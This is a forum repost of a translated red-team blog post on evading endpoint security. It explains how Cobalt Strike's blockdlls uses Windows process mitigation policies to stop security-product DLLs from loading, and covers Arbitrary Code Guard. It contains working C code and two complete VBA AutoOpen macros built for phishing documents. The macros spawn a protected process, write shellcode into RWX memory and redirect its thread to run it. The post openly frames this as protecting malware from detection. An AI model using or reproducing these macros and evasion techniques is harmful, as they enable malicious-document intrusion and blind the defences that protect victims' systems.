用户
搜索
  • TA的每日心情
    擦汗
    2019-1-31 10:58
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    官方账号

    Rank: 7Rank: 7Rank: 7

    155

    主题

    155

    帖子

    1498

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2018-12-21

    i春秋认证

    发表于 2019-11-5 18:03:57 0510

    22.png

    Cobalt Strike的近期更新中,加入了blockdlls命令,它可在攻击者派生子进程时阻止第三方DLL的加载。这就使安全产品在进程创建时无法通过DLL加载进行监控和可疑情况上报。

    在进行过几次内部原理的讨论后,我觉得有必要写一篇文章展示其用法和背后的原理,如何用它来保护我们的恶意软件,阻止安全软件的监控。

    blockdlls

    blockdlls是在Cobalt Strike的3.14版本中出现的,用于保护派生的子进程不受第三方DLL的干扰。使用这个功能很简单,我们只需在一个活动的会话中使用blockdlls命令,然后派生一个子进程(使用spawn命令):

    33.png

    一旦我们的子进程出现,我们可以在ProcessHacker中看到类似语句:

    44.png

    此时如果一个没有被微软签名的DLL试图加载到进程中,就会出现一个很详细的错误,例如:

    55.png

    那么,Cobalt Strike是如何实现这一功能的呢?如果我们搜索CS beacon的二进制文件,你会看到对UpdateProcThreadAttribute的引用:

    66.png

    上图中,0x20007Attribute参数实际上和PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY有关,而0x100000000000的值解析为PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON。可以看出,Cobalt Strike调用了CreateProcessAPI,其中涉及一个STARTUPINFOEX结构体,该结构体包含一个安全策略,在这种情况下,该策略阻止了非微软签名的DLL加载。

    如果我们想自己重现,可以利用以下代码:

    #include <Windows.h>
    
    int main()
    {
        STARTUPINFOEXA si;
        PROCESS_INFORMATION pi;
        SIZE_T size = 0;
        BOOL ret;
    
        // Required for a STARTUPINFOEXA
        ZeroMemory(&si, sizeof(si));
        si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
        si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
    
        // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
        InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    
        // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
        si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
            GetProcessHeap(),
            0,
            size
        );
    
        // Initialise our list 
        InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    
        // Enable blocking of non-Microsoft signed DLLs
        DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    
        // Assign our attribute
        UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
    
        // Finally, create the process
        ret = CreateProcessA(
            NULL,
            (LPSTR)"C:\\Windows\\System32\\cmd.exe",
            NULL,
            NULL,
            true,
            EXTENDED_STARTUPINFO_PRESENT,
            NULL,
            NULL,
            reinterpret_cast<LPSTARTUPINFOA>(&si),
            &pi
        );
    }
    

    进一步了解

    现在我们知道了Cobalt Strike如何实现该功能,但在渗透的某些阶段这个功能并不能覆盖,这就给了安全软件可乘之机。让我们看看一个常见的钓鱼场景,我们试图通过一个包含恶意宏的文档来进行beacon植入:

    77.png

    一般入侵流程中,在上图红色方框的部分,blockdlls无法生效,但在蓝色方框中,我们可以看到由Cobalt Strike所派生的每个子进程都受到了“安全”策略的保护。这里所面临的风险是安全产品会将其DLL加载到迁移进程(这里显示为Internet Explorer),检查其中是否有恶意活动。

    不过,结合上述代码和PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON选项,我们可以较好地解决这个问题。

    POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
    ' by @_xpn_
    '
    ' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
    
    Const EXTENDED_STARTUPINFO_PRESENT = &H80000
    Const HEAP_ZERO_MEMORY = &H8&
    Const SW_HIDE = &H0&
    Const MAX_PATH = 260
    Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
    Const MAXIMUM_SUPPORTED_EXTENSION = 512
    Const SIZE_OF_80387_REGISTERS = 80
    Const MEM_COMMIT = &H1000
    Const MEM_RESERVE = &H2000
    Const PAGE_READWRITE = &H4
    Const PAGE_EXECUTE_READWRITE = &H40
    Const CONTEXT_FULL = &H10007
    
    Private Type PROCESS_INFORMATION
        hProcess As LongPtr
        hThread As LongPtr
        dwProcessId As Long
        dwThreadId As Long
    End Type
    
    Private Type STARTUP_INFO
        cb As Long
        lpReserved As String
        lpDesktop As String
        lpTitle As String
        dwX As Long
        dwY As Long
        dwXSize As Long
        dwYSize As Long
        dwXCountChars As Long
        dwYCountChars As Long
        dwFillAttribute As Long
        dwFlags As Long
        wShowWindow As Integer
        cbReserved2 As Integer
        lpReserved2 As Byte
        hStdInput As LongPtr
        hStdOutput As LongPtr
        hStdError As LongPtr
    End Type
    
    Private Type STARTUPINFOEX
        STARTUPINFO As STARTUP_INFO
        lpAttributelist As LongPtr
    End Type
    
    Private Type DWORD64
        dwPart1 As Long
        dwPart2 As Long
    End Type
    
    Private Type FLOATING_SAVE_AREA
        ControlWord As Long
        StatusWord As Long
        TagWord As Long
        ErrorOffset As Long
        ErrorSelector As Long
        DataOffset As Long
        DataSelector As Long
        RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
        Spare0 As Long
    End Type
    
    Private Type CONTEXT
        ContextFlags As Long
        Dr0 As Long
        Dr1 As Long
        Dr2 As Long
        Dr3 As Long
        Dr6 As Long
        Dr7 As Long
        FloatSave As FLOATING_SAVE_AREA
        SegGs As Long
        SegFs As Long
        SegEs As Long
        SegDs As Long
        Edi As Long
        Esi As Long
        Ebx As Long
        Edx As Long
        Ecx As Long
        Eax As Long
        Ebp As Long
        Eip As Long
        SegCs As Long
        EFlags As Long
        Esp As Long
        SegSs As Long
        ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
    End Type
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
    
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByVal lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
    
    Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
        ByVal hProcess As LongPtr, _
        ByVal lpba seAddress As Long, _
        ByRef lpBuffer As Any, _
        ByVal nSize As Long, _
        ByVal lpNumberOfBytesWritten As Long _
    ) As Boolean
    
    Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
    
    Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
        ByVal hThread As Long, _
        lpContext As CONTEXT _
    ) As Long
    
    Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
        ByVal hThread As Long, _
        lpContext As CONTEXT _
    ) As Long
    
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
        ByVal hHeap As LongPtr, _
        ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
    
    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
    
    Private Declare Function VirtualAllocEx Lib "kernel32" ( _
        ByVal hProcess As Long, _
        ByVal lpAddress As Long, _
        ByVal dwSize As Long, _
        ByVal flAllocationType As Long, _
        ByVal flProtect As Long _
    ) As Long
    
    Sub AutoOpen()
    
        Dim pi As PROCESS_INFORMATION
        Dim si As STARTUPINFOEX
        Dim nullStr As String
        Dim pid, result As Integer
        Dim threadAttribSize As Integer
        Dim processPath As String
        Dim val As DWORD64
        Dim ctx As CONTEXT
        Dim alloc As Long
        Dim shellcode As Variant
        Dim myByte As Long
    
        ' Shellcode goes here (jmp $)
        shellcode = Array(&HEB, &HFE)
    
        ' Path of process to spawn
        processPath = "C:\\windows\\system32\\notepad.exe"
    
        ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
        val.dwPart1 = 0
        val.dwPart2 = &H1000
    
        ' Initialize process attribute list
        result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
        si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
        result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
    
        ' Set our mitigation policy
        result = UpdateProcThreadAttribute( _
            si.lpAttributelist, _
            0, _
            PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
            VarPtr(val), _
            Len(val), _
            ByVal 0&, _
            ByVal 0& _
            )
    
        si.STARTUPINFO.cb = LenB(si)
        si.STARTUPINFO.dwFlags = 1
    
        ' Spawn our process which will only allow MS signed DLL's
        result = CreateProcess( _
            nullStr, _
            processPath, _
            ByVal 0&, _
            ByVal 0&, _
            1&, _
            &H80014, _
            ByVal 0&, _
            nullStr, _
            VarPtr(si), _
            pi _
        )
    
        ' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to
        alloc = VirtualAllocEx( _
            pi.hProcess, _
            0, _
            11000, _
            MEM_COMMIT + MEM_RESERVE, _
            PAGE_EXECUTE_READWRITE _
        )
    
        ' Write our shellcode
        For offset = LBound(shellcode) To UBound(shellcode)
            myByte = shellcode(offset)
            result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)
        Next offset
    
        ' Point EIP register to allocated memory
        ctx.ContextFlags = CONTEXT_FULL
        result = GetThreadContext(pi.hThread, ctx)
        ctx.Eip = alloc
        result = SetThreadContext(pi.hThread, ctx)
    
        ' Resume execution
        ResumeThread (pi.hThread)
    
    End Sub
    

    如果使用正确,我们可以看到安全软件所能检测的阶段减少了:

    88.png

    那么剩下的红色阶段呢?也还是有一些方法可以进行保护,例如,我们可以调用含有参数ProcessSignaturePolicySetMitigationPolicy,这也可以在运行时引入策略,也就是说,不需要通过CreateProcess重新执行。然而,很可能在VBA文件运行之前,某些DLL就已经加载到Word的地址空间中了,某些危险操作会增加被检测到的机会。

    任意代码保护

    在阅读本文时,你可能没听过任意代码保护(ACG)。这是Windows系统的另一个安全策略,它可以阻止内存代码注入。

    要查看这个策略的实际效果,先让我们创建一个小程序,并尝试使用SetMitigationPolicy添加ACG:

    #include <iostream>
    #include <Windows.h>
    #include <processthreadsapi.h>
    
    int main()
    {
        STARTUPINFOEX si;
        DWORD oldProtection;
    
        PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
        ZeroMemory(&policy, sizeof(policy));
        policy.ProhibitDynamicCode = 1;
    
        void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (mem == NULL) {
            printf("[!] Error allocating RWX memory\n");
        }
        else {
            printf("[*] RWX memory allocated: %p\n", mem);
        }
    
        printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");
    
        // Set our mitigation policy
        if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) {
            printf("[!] SetProcessMitigationPolicy failed\n");
            return 0;
        }
    
        // Attempt to allocate RWX protected memory (this will fail)
        mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (mem == NULL) {
            printf("[!] Error allocating RWX memory\n");
        }
        else {
            printf("[*] RWX memory allocated: %p\n", mem);
        }
    
        void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");
    
        // Let's also try a VirtualProtect to see if we can update an existing page to RWX
        if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) {
            printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWX\n", ntAllocateVirtualMemory);
        }
        else {
            printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory);
        }
    }
    

    编译并执行后,我们会看到如下语句:

    99.png

    我们可以观察到在SetProcessMitigationPolicy执行后,分配RWX内存页失败了。

    为什么要提起这个?因为我们确实看到了一些EDR DLL被注入的例子,例如,@Sektor7Net向我们展示了Crowdstrike Falcon中的某个DLL,它不受PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON的影响:

    100.png

    但是,很多EDR产品都会做的一件事就是根据某些功能在用户空间布置hook(相关文章)。由于hook通常需要修改现有的可执行page,添加Trampoline,所以通常需要调用VirtualProtect来更新内存保护。如果我们移除它创建RWX内存页的能力,就能迫使一个Microsoft签名DLL加载失败。

    要在我们的VBA代码中实现这一点,我们需要添加PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON选项,启用这种保护:

    ' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
    ' by @_xpn_
    '
    ' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
    
    Const EXTENDED_STARTUPINFO_PRESENT = &H80000
    Const HEAP_ZERO_MEMORY = &H8&
    Const SW_HIDE = &H0&
    Const MAX_PATH = 260
    Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
    Const MAXIMUM_SUPPORTED_EXTENSION = 512
    Const SIZE_OF_80387_REGISTERS = 80
    Const MEM_COMMIT = &H1000
    Const MEM_RESERVE = &H2000
    Const PAGE_READWRITE = &H4
    Const PAGE_EXECUTE_READWRITE = &H40
    Const CONTEXT_FULL = &H10007
    
    Private Type PROCESS_INFORMATION
        hProcess As LongPtr
        hThread As LongPtr
        dwProcessId As Long
        dwThreadId As Long
    End Type
    
    Private Type STARTUP_INFO
        cb As Long
        lpReserved As String
        lpDesktop As String
        lpTitle As String
        dwX As Long
        dwY As Long
        dwXSize As Long
        dwYSize As Long
        dwXCountChars As Long
        dwYCountChars As Long
        dwFillAttribute As Long
        dwFlags As Long
        wShowWindow As Integer
        cbReserved2 As Integer
        lpReserved2 As Byte
        hStdInput As LongPtr
        hStdOutput As LongPtr
        hStdError As LongPtr
    End Type
    
    Private Type STARTUPINFOEX
        STARTUPINFO As STARTUP_INFO
        lpAttributelist As LongPtr
    End Type
    
    Private Type DWORD64
        dwPart1 As Long
        dwPart2 As Long
    End Type
    
    Private Type FLOATING_SAVE_AREA
        ControlWord As Long
        StatusWord As Long
        TagWord As Long
        ErrorOffset As Long
        ErrorSelector As Long
        DataOffset As Long
        DataSelector As Long
        RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
        Spare0 As Long
    End Type
    
    Private Type CONTEXT
        ContextFlags As Long
        Dr0 As Long
        Dr1 As Long
        Dr2 As Long
        Dr3 As Long
        Dr6 As Long
        Dr7 As Long
        FloatSave As FLOATING_SAVE_AREA
        SegGs As Long
        SegFs As Long
        SegEs As Long
        SegDs As Long
        Edi As Long
        Esi As Long
        Ebx As Long
        Edx As Long
        Ecx As Long
        Eax As Long
        Ebp As Long
        Eip As Long
        SegCs As Long
        EFlags As Long
        Esp As Long
        SegSs As Long
        ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
    End Type
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
    
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByVal lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
    
    Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
        ByVal hProcess As LongPtr, _
        ByVal lpba seAddress As Long, _
        ByRef lpBuffer As Any, _
        ByVal nSize As Long, _
        ByVal lpNumberOfBytesWritten As Long _
    ) As Boolean
    
    Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
    
    Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
        ByVal hThread As Long, _
        lpContext As CONTEXT _
    ) As Long
    
    Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
        ByVal hThread As Long, _
        lpContext As CONTEXT _
    ) As Long
    
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
        ByVal hHeap As LongPtr, _
        ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
    
    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
    
    Private Declare Function VirtualAllocEx Lib "kernel32" ( _
        ByVal hProcess As Long, _
        ByVal lpAddress As Long, _
        ByVal dwSize As Long, _
        ByVal flAllocationType As Long, _
        ByVal flProtect As Long _
    ) As Long
    
    Sub AutoOpen()
    
        Dim pi As PROCESS_INFORMATION
        Dim si As STARTUPINFOEX
        Dim nullStr As String
        Dim pid, result As Integer
        Dim threadAttribSize As Integer
        Dim processPath As String
        Dim val As DWORD64
        Dim ctx As CONTEXT
        Dim alloc As Long
        Dim shellcode As Variant
        Dim myByte As Long
    
        ' Shellcode goes here (jmp $)
        shellcode = Array(&HEB, &HFE)
    
        ' Path of process to spawn
        processPath = "C:\\windows\\system32\\notepad.exe"
    
        ' Initialize process attribute list
        result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
        si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
        result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
    
        ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
        ' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
        val.dwPart1 = 0
        val.dwPart2 = &H1010
    
        ' Set our mitigation policy
        result = UpdateProcThreadAttribute( _
            si.lpAttributelist, _
            0, _
            PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
            VarPtr(val), _
            Len(val), _
            ByVal 0&, _
            ByVal 0& _
        )
    
        si.STARTUPINFO.cb = LenB(si)
        si.STARTUPINFO.dwFlags = 1
    
        ' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
        result = CreateProcess( _
            nullStr, _
            processPath, _
            ByVal 0&, _
            ByVal 0&, _
            1&, _
            &H80014, _
            ByVal 0&, _
            nullStr, _
            VarPtr(si), _
            pi _
        )
    
        ' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to
        alloc = VirtualAllocEx( _
            pi.hProcess, _
            0, _
            11000, _
            MEM_COMMIT + MEM_RESERVE, _
            PAGE_EXECUTE_READWRITE _
        )
    
        ' Write our shellcode
        For Offset = LBound(shellcode) To UBound(shellcode)
            myByte = shellcode(Offset)
            result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
        Next Offset
    
        ' Point EIP register to allocated memory
        ctx.ContextFlags = CONTEXT_FULL
        result = GetThreadContext(pi.hThread, ctx)
        ctx.Eip = alloc
        result = SetThreadContext(pi.hThread, ctx)
    
        ' Resume execution
        ResumeThread (pi.hThread)
    
    End Sub
    

    所以这对于保护我们正在派生的进程是很好的,但是如果当我们想将一些代码注入一个已经被ACG保护的进程时呢?我听到的一个常见的误解是,我们无法将代码注入到受ACG保护的进程中,我们还需要某种形式的可写和可执行的内存。但实际上,ACG并不阻止远程进程调用VirtuAllocEx等函数。

    例如,如果我们使用一些简单的shellcode去派生出cmd.exe,并将其注入到ACG保护的进程中:

    110.png

    应该注意的是,Cobalt Strike的beacon目前无法使用这种方法,因为依赖向RWX分配和修改内存页。我尝试了一些不同的可扩展配置文件选项来解决这个问题(主要和userwx有关的选项),但目前看来不行。

    操作事项

    现在,我们要将这些策略进行整合。例如,在开始生成任意进程时,可以用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON进行保护。

    我们还希望用某个策略枚举出所有的进程。通过Powershell命令Get-ProcessMigration,我们可以知道注册表中定义的所有策略,而且我们也知道还有其他方法可以对进程进行保护,例如setMigrationPolicy API,此外还可以通过CreateProcessA生成任意进程。

    为了确保正确地分析每个进程,我们需要一个简单的工具,如下工具将使用GetProcessMitigationPolicy来识别策略的分配:

    #include <iostream>
    #include <Windows.h>
    #include <tlhelp32.h>
    #include <processthreadsapi.h>
    
    bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);
    
    void GetProtection(int pid, const char *exe) {
    
        PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy;
        PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;
    
        HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
        if (pHandle == INVALID_HANDLE_VALUE) {
            printf("[!] Error opening handle to %d\n", pid);
            return;
        }
    
        // Actually retrieve the mitigation policy for ACG
        if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {
            printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
            return;
        }
    
        if (dynamicCodePolicy.ProhibitDynamicCode) {
            printf("[%s] - ProhibitDynamicCode\n", exe);
        }
    
        if (dynamicCodePolicy.AllowRemoteDowngrade) {
            printf("[%s] - AllowRemoteDowngrade\n", exe);
        }
    
        if (dynamicCodePolicy.AllowThreadOptOut) {
            printf("[%s] - AllowThreadOptOut\n", exe);
        }
    
        // Retrieve mitigation policy for loading arbitrary DLLs
        if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) {
            printf("Could not enum PID %d\n", pid);
            return;
        }
    
        if (signaturePolicy.AuditMicrosoftSignedOnly) {
            printf("[%s] AuditMicrosoftSignedOnly\n", exe);
        }
    
        if (signaturePolicy.AuditStoreSignedOnly) {
            printf("[%s] - AuditStoreSignedOnly\n", exe);
        }
    
        if (signaturePolicy.MicrosoftSignedOnly) {
            printf("[%s] - MicrosoftSignedOnly\n", exe);
        }
    
        if (signaturePolicy.MitigationOptIn) {
            printf("[%s] - MitigationOptIn\n", exe);
        }
    
        if (signaturePolicy.StoreSignedOnly) {
            printf("[%s] - StoreSignedOnly\n", exe);
        }
    }
    
    int main()
    {
        HANDLE snapshot;
        PROCESSENTRY32 ppe;
    
        HANDLE accessToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) {
            printf("[!] Error opening process token\n");
            return 1;
        }
    
        // Provide ourself with SeDebugPrivilege to increase our enumeration chances
        SetPrivilege(accessToken, SE_DEBUG_NAME);
    
        // Prepare handle to enumerate running processes
        snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
        if (snapshot == INVALID_HANDLE_VALUE) {
            printf("[!] Error: CreateToolhelp32Snapshot\n");
            return 2;
        }
    
        ppe.dwSize = sizeof(PROCESSENTRY32);
    
        Process32First(snapshot, &ppe);
    
        do {
            // Enumerate process mitigations
            GetProtection(ppe.th32ProcessID, ppe.szExeFile);
        } while (Process32Next(snapshot, &ppe));
    }
    
    bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {
    
        TOKEN_PRIVILEGES tp;
        LUID luid;
    
        if (!LookupPrivilegeValue(
            NULL,
            lpszPrivilege,
            &luid))
        {
            printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
        if (!AdjustTokenPrivileges(
            hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
            return FALSE;
        }
    
        return TRUE;
    }
    

    经过我对Windows 10的测试,发现已有几个进程应用了安全策略:

    120.png

    这些进程主要围绕Edge。当然我们也有许多其他选择,例如fontdrvhost.exedllhost.exe

    希望这篇文章能给你在渗透测试期间躲避安全软件的检测提供一些思路。

    本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3131.html
    来源:https://blog.xpnsec.com/protecting-your-malware/
    
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册